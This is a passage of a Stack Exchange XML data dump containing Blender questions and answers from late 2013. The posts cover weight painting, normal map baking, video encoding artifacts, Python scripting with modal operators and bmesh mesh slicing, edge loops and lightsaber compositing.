  <row Id="3610" PostTypeId="1" CreationDate="2013-10-31T13:07:18.363" Score="5" ViewCount="1050" Body="&lt;p&gt;In my project I have normal map defined by nodes in Cycles which I use to render my scene -- here are relevant nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/amLjy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image texture is a seamless square normal map image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later I also decided to bake normal map with Blender Internal. I would like the baked normal map to be identical to one generated in Cycles. What would be settings in BI for that?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="2217" LastEditDate="2014-07-29T00:31:06.360" LastActivityDate="2015-04-23T12:20:09.860" Title="How to bake normal map identical to one from cycles?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostTypeId="1" AcceptedAnswerId="3614" CreationDate="2013-10-31T13:35:05.750" Score="13" ViewCount="69365" Body="&lt;p&gt;I am trying to remove some weight. I left click to add it, but I cannot figure out how to remove it.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="12" LastEditDate="2013-10-31T19:57:54.807" LastActivityDate="2019-11-30T16:23:18.527" Title="How do I remove weight from weight painting?" Tags="&lt;weight-painting&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostTypeId="1" AcceptedAnswerId="3630" CreationDate="2013-10-31T13:37:59.730" Score="6" ViewCount="263" Body="&lt;p&gt;I'm rendering a movie from a series of PNGs with the video sequence editor and the H.264 codec. When the camera changes from the static position to moving there is a strange jitter artifact (see video). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=jzKe3AZGZG4&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=jzKe3AZGZG4&lt;/a&gt; (Need to watch in 1080p to clearly see it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't show up in the PNGs. Increasing the bitrate doesn't seem to help. I'm not really sure what the other encoding settings do. Is there a way to fix this? &lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="2217" LastEditDate="2014-06-26T21:18:06.760" LastActivityDate="2014-06-26T21:18:06.760" Title="Strange artifacts during camera transition when rendering movie" Tags="&lt;rendering&gt;&lt;file-format&gt;&lt;video&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3613" PostTypeId="2" ParentId="3611" CreationDate="2013-10-31T13:45:59.543" Score="10" Body="&lt;p&gt;You can enter edit mode, select the part(s) of the mesh where you need the weight changed (you can press &lt;kbd&gt;C&lt;/kbd&gt; and also paint select) and in the &lt;em&gt;Data&lt;/em&gt; panel (the button with the triangle) in the &lt;em&gt;Properties&lt;/em&gt; context under &lt;em&gt;Vertex Groups&lt;/em&gt;, set the weight slider to 0 and press &lt;em&gt;Assign&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="12" LastEditDate="2013-10-31T20:15:42.293" LastActivityDate="2013-10-31T20:15:42.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3614" PostTypeId="2" ParentId="3611" CreationDate="2013-10-31T14:02:30.307" Score="12" Body="&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/sculpt_paint/painting/weight_paint/tools.html#brush&quot; rel=&quot;noreferrer&quot;&gt;Manual&lt;/a&gt; on  blend mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subtract: In this blend mode the specified weight is subtracted from the vertex weights. The strength determines which fraction of the weight gets removed per stroke. However the brush will not paint weight values below 0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lighten: In this blend mode the specified weight value is interpreted as the target weight very similar to the Mix Blend mode. But only weights below the target weight are affected. Weights above the target weight remain unchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blur: tries to smooth out the weighting of adjacent vertices. In this mode the Weight Value is ignored. The strength defines how effectively the blur is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eVMQB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2017-10-09T02:37:59.040" LastActivityDate="2017-10-09T02:37:59.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3615" PostTypeId="2" ParentId="3606" CreationDate="2013-10-31T14:42:29.033" Score="57" Body="&lt;p&gt;Check your normals. If some of the facess are turned inside out, pointing inward into the inside of the mesh, they can be seen as dark areas.&lt;/p&gt;&#xA;&lt;p&gt;Before recalculate normals (in the toolbar (&lt;kbd&gt;N&lt;/kbd&gt;) in the 3D View, or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NbDtp.png&quot; alt=&quot;Faulty normals&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After recalculate normals.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPH6E.png&quot; alt=&quot;Corrected normals&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that normals will only be recalculated for selected faces, so you probably want to select all (&lt;kbd&gt;A&lt;/kbd&gt;) before recalculating.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="user1853" LastEditDate="2021-03-31T14:06:34.510" LastActivityDate="2021-03-31T14:06:34.510" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3616" PostTypeId="2" ParentId="3604" CreationDate="2013-10-31T14:52:03.983" Score="3" Body="&lt;p&gt;I suggest using sculpting with dynamic topology. It is perfect for extruding tentacles, ears and horns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ur221.png&quot; alt=&quot;Dynamic sculpting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also available are extrusion in edit mode. Select a quad and hit &lt;kbd&gt;e&lt;/kbd&gt;. Drag out a bit, move and rotate and continue extruding to form your limb. Apply subdivision to get a smooth surface (2 or 3 steps maybe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtS7G.png&quot; alt=&quot;extruded limb&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With subdivision modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sal5P.png&quot; alt=&quot;extruded subdivided limb&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-10-31T16:49:51.130" LastActivityDate="2013-10-31T16:49:51.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3617" PostTypeId="2" ParentId="3592" CreationDate="2013-10-31T15:24:15.207" Score="10" Body="&lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; is not actually a keybinding, &lt;kbd&gt;G&lt;/kbd&gt; starts the grab operator and that reacts on certain keytrokes while it's running modally. It uses a modal map (keymapping) for this ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit modal maps in &lt;em&gt;User preferences &gt; Input&lt;/em&gt;, but not call arbitrary operators (in fact, only sub-operations defined by the operator in C, like Select or Deselect in Border Select op).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For python-scripted operators, there's an &lt;code&gt;event&lt;/code&gt; argument passed to &lt;code&gt;modal()&lt;/code&gt; and you can check for keystrokes (&lt;code&gt;event.type&lt;/code&gt;, &lt;code&gt;event.value&lt;/code&gt; etc.) and react in whatever way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detect &lt;kbd&gt;G&lt;/kbd&gt; keystroke in a modal operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move an object with the mouse, example&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;    first_mouse_x = IntProperty()&#xA;    first_value = FloatProperty()&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'MOUSEMOVE':&#xA;            delta = self.first_mouse_x - event.mouse_x&#xA;            context.object.location.x = self.first_value + delta * 0.01&#xA;&#xA;        elif event.type == 'G':&#xA;            self.report({'INFO'}, &quot;G&quot;)&#xA;            context.object.location.x = self.first_value&#xA;            return {'CANCELLED'}&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            context.object.location.x = self.first_value&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.object:&#xA;            self.first_mouse_x = event.mouse_x&#xA;            self.first_value = context.object.location.x&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;No active object, could not finish&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Transform Modal Map - what (sub-)operations a possible during the modally running operators:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/53Vav.png&quot; alt=&quot;Blender User Preferences Input Transform Modal Map&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-11-01T09:55:42.403" LastActivityDate="2013-11-01T09:55:42.403" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3618" PostTypeId="1" CreationDate="2013-10-31T15:27:50.193" Score="3" ViewCount="2874" Body="&lt;p&gt;Is it possible to determine the pose/rotation of a bone depending on the parent bones (with Python), in the best case in euler angles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a model of a human and the arm is rotated in such a way that the body forms a T-shape. Then the hand is rotated that the palm points in the same direction as the face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to determine which rotation I would have to perform only on the hand to obtain the same direction without moving the arm.&lt;/p&gt;&#xA;" OwnerUserId="1455" LastEditorUserId="72" LastEditDate="2013-10-31T15:42:13.010" LastActivityDate="2013-12-11T01:12:55.543" Title="Global Pose/Rotation of a bone" Tags="&lt;python&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3619" PostTypeId="1" AcceptedAnswerId="3623" CreationDate="2013-10-31T16:02:41.193" Score="8" ViewCount="5970" Body="&lt;p&gt;I have a big terrain object, I'm trying to write a script that cut it in smaller pieces and then I will export the pieces to other formats. This is required by a game engine because the mesh, if not subdivided at export time, is not properly culled, resulting in slow rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use &lt;code&gt;bpy.ops.view3d.select_border()&lt;/code&gt; but it fails with message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Operator bpy.ops.view3d.select_border.poll() expected a view3d region&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A search revealed that &lt;code&gt;select_border&lt;/code&gt; must be called from 3d view, probably by clicking a button. But this is not a generalized script, it is specific to this model, I will rewrite parts of it if I need it for another model. I want to run it from text editor directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I can see for now is to iterate every vertex of the selected object and if they are inside the defined tile size, then duplicate, separate, export, delete, and repeat moving one tile to the left, starting at object dimensions[0] / 2 * -1, dimensions[1] / 2 * -1. Iterate vertices and select them can be done from text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more convenient way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="1056" LastEditorUserId="599" LastEditDate="2014-05-27T02:28:00.613" LastActivityDate="2019-03-01T09:41:11.603" Title="How to cut a mesh into smaller pieces with python?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostTypeId="1" AcceptedAnswerId="156137" CreationDate="2013-10-31T17:59:47.587" Score="11" ViewCount="18027" Body="&lt;p&gt;More often than not when I do weight-painting, weights on a model are the same/similar through the whole mesh (for example leg, arm), but weight painting has culling which prevents paint to go through the model and affects only visible part. To rotate around mesh for painting is often less precise and is always time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I switch culling off and be able to paint through the whole mesh during weight paint (similar to texture paint with &lt;em&gt;Tools -&gt; ProjectPaint -&gt; Occlude&lt;/em&gt;, Cull, Normal all set to Off)?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="12" LastEditDate="2013-10-31T21:03:34.400" LastActivityDate="2019-10-22T14:16:21.783" Title="How to paint through the mesh during weight painting" Tags="&lt;weight-painting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostTypeId="1" CreationDate="2013-10-31T19:41:00.863" Score="2" ViewCount="3125" Body="&lt;p&gt;It it possible to create a fluorescence shader in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Fluorescence&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fluorescence is the emission of light by a substance that has absorbed light or other electromagnetic radiation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More specifically, Is it possible to make a shader that emits more light on one wavelength than it receives on that wavelength, while not emitting more total light than it receives?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-03T00:54:16.897" Title="Is it possible to simulate Fluorescence in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostTypeId="2" ParentId="3620" CreationDate="2013-10-31T21:02:23.957" Score="9" Body="&lt;p&gt;You can do this by deselecting &lt;em&gt;Limit selection to visible&lt;/em&gt; from the header. You should now be able to paint through the entire mesh. It doesn't update the opposite side in realtime however as it does when painting, it updates when you release the mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qioaf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-10-31T21:02:23.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3623" PostTypeId="2" ParentId="3619" CreationDate="2013-10-31T21:46:35.717" Score="3" Body="&lt;p&gt;You can override the context for the operator so you can still run it from the text editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.html?#overriding-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When calling an operator you may want to pass the execution context.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This determines the context thats given to the operator to run in, and&#xA;  weather invoke() is called or execute().&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;‘EXEC_DEFAULT’ is used by default but you may want the operator to&#xA;  take user interaction with ‘INVOKE_DEFAULT’.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The execution context is as a non keyword, string argument in:&#xA;  (‘INVOKE_DEFAULT’, ‘INVOKE_REGION_WIN’, ‘INVOKE_REGION_CHANNELS’,&#xA;  ‘INVOKE_REGION_PREVIEW’, ‘INVOKE_AREA’, ‘INVOKE_SCREEN’,&#xA;  ‘EXEC_DEFAULT’, ‘EXEC_REGION_WIN’, ‘EXEC_REGION_CHANNELS’,&#xA;  ‘EXEC_REGION_PREVIEW’, ‘EXEC_AREA’, ‘EXEC_SCREEN’)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# group add popup import bpy &#xA;bpy.ops.object.group_instance_add('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;It is also possible to run an operator in a particular part of the&#xA;  user interface. For this we need to pass the window, screen, area and&#xA;  sometimes a region.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# maximize 3d view in all windows&#xA;import bpy&#xA;&#xA;for window in bpy.context.window_manager.windows:&#xA;    screen = window.screen&#xA;&#xA;    for area in screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            override = {'window': window, 'screen': screen, 'area': area}&#xA;            bpy.ops.screen.screen_full_area(override)&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;screen = bpy.context.window.screen&#xA;for area in screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                override = {'window': bpy.context.window, 'screen': screen, 'area': area, 'region': region}&#xA;                bpy.ops.view3d.select_border(override, xmin=0, xmax=0, ymin=0, ymax=0, extend=False)&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3710" LastEditDate="2019-03-01T09:41:11.603" LastActivityDate="2019-03-01T09:41:11.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3624" PostTypeId="5" CreationDate="2013-10-31T23:22:34.507" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-31T23:22:34.507" LastActivityDate="2013-10-31T23:22:34.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostTypeId="4" CreationDate="2013-10-31T23:22:34.507" Score="0" Body="Questions related to weight painting. Weight painting is a method of defining a value for things such as how much a certain vertex will be deformed by a bone, or how long hair particles should be on a certain face." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-31T23:22:34.507" LastActivityDate="2013-10-31T23:22:34.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3626" PostTypeId="1" AcceptedAnswerId="3627" CreationDate="2013-11-01T00:15:30.733" Score="1" ViewCount="4632" Body="&lt;p&gt;I've got a camera tracked to an empty, and I'd like to add keyframes with constant interpolate to have the camera &quot;click&quot; forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I scale the distance between objects, without affecting their size? Even better would be setting an absolute value of the distance between the objects.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="599" LastEditDate="2013-11-01T01:00:24.573" LastActivityDate="2013-11-01T01:00:24.573" Title="Scaling the distance between objects" Tags="&lt;animation&gt;&lt;objects&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-01T00:50:58.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="3627" PostTypeId="2" ParentId="3626" CreationDate="2013-11-01T00:32:13.627" Score="3" Body="&lt;p&gt;There's a button in the header bar (three dots with a left-right arrow under it) that when switched on means that your transformations will only apply to the centre points of the selected objects. Using that tool and pivoting by active element will allow you to scale two objects, keeping one in place, moving the other away or towards the active object and leaving the scale of the actual objects themselves untouched.&lt;br&gt;&#xA;&lt;br&gt;&#xA;Setting the absolute distance between two objects could be done with a &quot;Limit Distance&quot; constraint set to a Clamp Region of &quot;On Surface&quot;, which you could then key the distance value for.&lt;/p&gt;&#xA;" OwnerUserId="1264" LastActivityDate="2013-11-01T00:32:13.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3629" PostTypeId="2" ParentId="3619" CreationDate="2013-11-01T07:38:53.953" Score="9" Body="&lt;p&gt;I don't think hijacking &lt;code&gt;select_border()&lt;/code&gt; is a good approach. You could use the new &lt;code&gt;bisect_plane()&lt;/code&gt; bmesh operator to slice your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a straightforward script that slices a mesh into an aligned grid:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;from bpy import context as C&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;bm = bmesh.from_edit_mesh(C.object.data)&#xA;&#xA;edges = []&#xA;&#xA;for i in range(-10, 10, 2):&#xA;        ret = bmesh.ops.bisect_plane(bm, geom=bm.verts[:]+bm.edges[:]+bm.faces[:], plane_co=(i,0,0), plane_no=(-1,0,0))&#xA;        bmesh.ops.split_edges(bm, edges=[e for e in ret['geom_cut'] if isinstance(e, bmesh.types.BMEdge)])&#xA;&#xA;for i in range(-10, 10, 2):&#xA;        ret = bmesh.ops.bisect_plane(bm, geom=bm.verts[:]+bm.edges[:]+bm.faces[:], plane_co=(0,i,0), plane_no=(0,1,0))&#xA;        bmesh.ops.split_edges(bm, edges=[e for e in ret['geom_cut'] if isinstance(e, bmesh.types.BMEdge)])&#xA;&#xA;&#xA;bmesh.update_edit_mesh(C.object.data)&#xA;&#xA;bpy.ops.mesh.separate(type='LOOSE')&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-11-01T07:38:53.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostTypeId="2" ParentId="3612" CreationDate="2013-11-01T10:14:11.650" Score="3" Body="&lt;p&gt;It seems like the motion wasn't estimated correctly. As a workaround you could try to set the GOP Size (Keyframe interval) so that a keyframe is set when the movement starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like an encoder/Blender bug. If such errors occurred at multiple times you could encode with a lossless video format and use one of the many third party video converters as a second step. Possibly with multipass encoding enabled.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-11-01T10:14:11.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostTypeId="1" CreationDate="2013-11-01T11:04:46.787" Score="5" ViewCount="1916" Body="&lt;p&gt;I want to make a custom PCB enclosure . I was looking at the various alternatives out there and was wondering if Blender is a good choice. Also I was planning on getting it 3d printed. However on my model I would probably need to make four holes for the screws on my board to sit into the enclosure. So what should be a good starting point considering I havent used blender extensively before. Should I move over to some other software which suits my needs better? If so could someone please point that out for me?&lt;/p&gt;&#xA;" OwnerUserId="1511" LastEditorUserId="599" LastEditDate="2013-11-01T20:05:10.837" LastActivityDate="2013-12-01T23:55:22.823" Title="Is blender a good solution for making a PCB enclosure" Tags="&lt;modeling&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" CommunityOwnedDate="2013-12-02T00:26:04.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="3632" PostTypeId="2" ParentId="3607" CreationDate="2013-11-01T11:25:09.123" Score="15" Body="&lt;p&gt;An Edge Loop is a chain of connected edges where each edges shares a vertex with the previous edge, and that vertex has exactly 4 edges attached to it (except on the borders of a non-manifold (not &quot;water-tight&quot;) mesh, where there will be only 3 edges, 2 of which have just one face connected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An edge loop is &lt;em&gt;terminated&lt;/em&gt; where the vertex has more than 4 edges (poles) or meets a non-manifold edge (an edge with only one face) or an Ngon (face with more than 4 verts). The latitudinal loops (&lt;em&gt;rings&lt;/em&gt;) of a UV sphere are perfect non-terminating loops, but the longitudinal loops (&lt;em&gt;segments&lt;/em&gt;) all end at two points (the North and South poles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of edge loops (see where they change direction or terminate and why)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rUdlV.png&quot; alt=&quot;Simple&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EYAQJ.png&quot; alt=&quot;S-shape&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0bEv.png&quot; alt=&quot;P-shape&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details on the algorithm from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Selecting/Edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;First check to see if the selected element connects to only 3 other edges.&lt;/li&gt;&#xA;  &lt;li&gt;If the edge in question has already been added to the list, the selection ends.&lt;/li&gt;&#xA;  &lt;li&gt;Of the 3 edges that connect to the current edge, the ones that share a face with the current edge are eliminated and the remaining edge is added to the list and is made the current edge.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2015-03-30T05:45:47.107" LastActivityDate="2015-03-30T05:45:47.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostTypeId="2" ParentId="3560" CreationDate="2013-11-01T15:06:57.637" Score="3" Body="&lt;p&gt;If it is acceptable for the &quot;burst-particles&quot; to disappear once you change emission rates, Keyframing the Children settings in Particles might approach what you are hoping for. For a binary on/off effect, keyframe the red-starred section in the image below; to modulate linearly, keyframe the yellow-starred section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFVWj.png&quot; alt=&quot;Particle Children Settings&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uINJJ.gif&quot; alt=&quot;Particle Burst&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2013-11-01T15:06:57.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3636" PostTypeId="1" AcceptedAnswerId="3640" CreationDate="2013-11-01T17:59:43.803" Score="20" ViewCount="8411" Body="&lt;p&gt;I've been studying &lt;a href=&quot;https://web.archive.org/web/20151002143843/http://home.comcast.net/~jimv833/swlsothers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JamesVillanueva's&lt;/a&gt; lightsabers for a while now, and have tried to recreate the effects in Blender.  The trouble I'm having is with the blade in the compositor.  Keep in mind that I'm also trying to animate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J6s7t.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;First off, this is the lightsaber I've created with help from &lt;a href=&quot;https://www.youtube.com/watch?v=KJAWc1YVxqw&quot; rel=&quot;nofollow noreferrer&quot;&gt;Williamson's lightsaber tutorial&lt;/a&gt;.  Obviously the color of the glow needs a little more work to be accurate, but that's not what I'm worrying about at the moment.  This is also rendered in Blender Internal, but I'm going to switch to Cycles when I got everything prepared.  The blade model is totally transparent, but its index is fed into the ID mask node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using two versions of Blender's Gaussian glow.  The glow it creates is, unfortunately, omnidirectional.  This is different than the glows Villanueva puts on his, where the white core continues into the saber emitter.  Also, unlike his, my glow flows over and obscures part of the emitter.  This also means that if prongs were placed on the emitter and closer to the camera than the blade, the glow would engulf them.  What I'm looking for is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WVTub.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVTub.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://home.comcast.net/~jimv833/3Dportfolio/swlstor/swtorsithwar03001.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;James Villanua&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the parts of the model that are closer aren't affected by the glow, while those that are farther are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I'm trying to improve on Villanueva's method by having the glow applied to the reflection as well.  A method to have the glow applied to the blade if it's covered partly by glass would be nice, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, help is appreciated for any of these questions.  If there is a different way of going about this and getting the glow, like with Cycles materials, I'd be happy to know.&lt;/p&gt;&#xA;" OwnerUserId="1516" LastEditorUserId="2217" LastEditDate="2019-07-13T14:25:30.503" LastActivityDate="2019-07-13T14:25:30.503" Title="Post-processing Lightsabers in Blender" 